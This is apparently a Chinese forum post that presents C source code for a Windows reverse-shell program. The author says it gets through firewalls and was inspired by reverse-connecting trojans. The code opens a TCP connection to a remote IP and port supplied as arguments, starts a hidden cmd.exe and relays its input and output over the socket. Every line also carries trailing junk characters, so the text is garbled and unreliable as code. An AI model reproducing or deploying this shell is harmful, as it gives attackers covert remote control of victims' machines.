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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <qJI]P  
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/* ============================== +a1Or  
Rebound port in Windows NT H3\4&q  
By wind,2006/7 .' foS>W=t  
===============================*/ tljZE)  
#include <LL+\kfTZO  
#include Sk7l&B  
nb-]fa  
#pragma comment(lib,"wsock32.lib") (mbC! !>  
UdO(9Jc5^  
void OutputShell(); 9<0TF+}>  
SOCKET sClient; 0<tce  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^{Wx\+*!  
hWc`4xdl  
void main(int argc,char **argv) aT|SKb`  
{ ]nPfIBoS  
WSADATA stWsaData; :{sy2g/+  
int nRet; c=d` DJ  
SOCKADDR_IN stSaiClient,stSaiServer; $d0xJxM  
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if(argc != 3) ~EIK  
{  PL"u^G`  
printf("Useage:\n\rRebound DestIP DestPort\n"); T:FaD V{  
return; 9dS<^E(ZF  
} cdd6*+E  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Rhi`4wo0$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oF'_x,0  
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stSaiClient.sin_family = AF_INET; @M( hyS&on  
stSaiClient.sin_port = htons(0); s Zn@ye^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N"/J1   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `r#]dT[g  
{ hk*@<ff  
printf("Bind Socket Failed!\n"); 1fgO3N  
return; PmjN!/  
} C2e.RTxc  
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stSaiServer.sin_family = AF_INET; `L~gERW#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lZ,w#sqbY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m8}c(GwcP  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,c]<Yu  
{ IKo,P$ PE  
printf("Connect Error!"); hW<TP'Zm*  
return; w-{a>ZU0  
} =;L44.,g  
OutputShell(); ,I|3.4z  
} r+%$0eB1^  
C"SG':  
void OutputShell() 'kuLkM,  
{ o?,c#g  
char szBuff[1024]; F TgqE@  
SECURITY_ATTRIBUTES stSecurityAttributes; cnw?3/J  
OSVERSIONINFO stOsversionInfo; H8!; XB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  " fXs!  
STARTUPINFO stStartupInfo; Pk ?M~{S  
char *szShell; 4H9mKR  
PROCESS_INFORMATION stProcessInformation; iQd,xr  
unsigned long lBytesRead; ^7Z#g0{^w  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3g79/ w  
m=[3"X3W1V  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _-=yD@;[D  
stSecurityAttributes.lpSecurityDescriptor = 0; _^ZBSx09)  
stSecurityAttributes.bInheritHandle = TRUE; bVxbQ$  
!kW~s_gUb*  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L l$,"}0T  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Vq&}i~  
Cl>|*h+m  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zp'Vn7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cfr2 ~w  
stStartupInfo.wShowWindow = SW_HIDE; g:oB j6$ q  
stStartupInfo.hStdInput = hReadPipe; j{$2.W$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }'`iJ b\  
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GetVersionEx(&stOsversionInfo); Hb&C;lk  
%\f<N1~*  
switch(stOsversionInfo.dwPlatformId) `RlMfd  
{ Mni@@W  
case 1: Zjkg"  
szShell = "command.com"; \"7U,y',  
break; r=gF&Og,?  
default: <dWms`Qc O  
szShell = "cmd.exe"; > I>=/i^  
break; )z\ 73|w  
} he! Uq%e  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #O1%k;BL  
6s.>5}M!  
send(sClient,szMsg,77,0); 7`J= PG$A  
while(1) !sVW0JSh  
{ 45 B |U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); itmFZZh  
if(lBytesRead) wiP )"g.t  
{ "'3QKeM1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ' e:rL.  
send(sClient,szBuff,lBytesRead,0); Y52TC@'  
} 5~FXy{ZIH  
else /B!Ik:c}  
{ Ba}<X;B}  
lBytesRead=recv(sClient,szBuff,1024,0); gP2<L5&Z,  
if(lBytesRead<=0) break; d3;Sy`.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -|2k$W  
} 6f*QUw~  
} F\2<q$Zn+  
jZgCDA8Mr!  
return; exxH0^  
}
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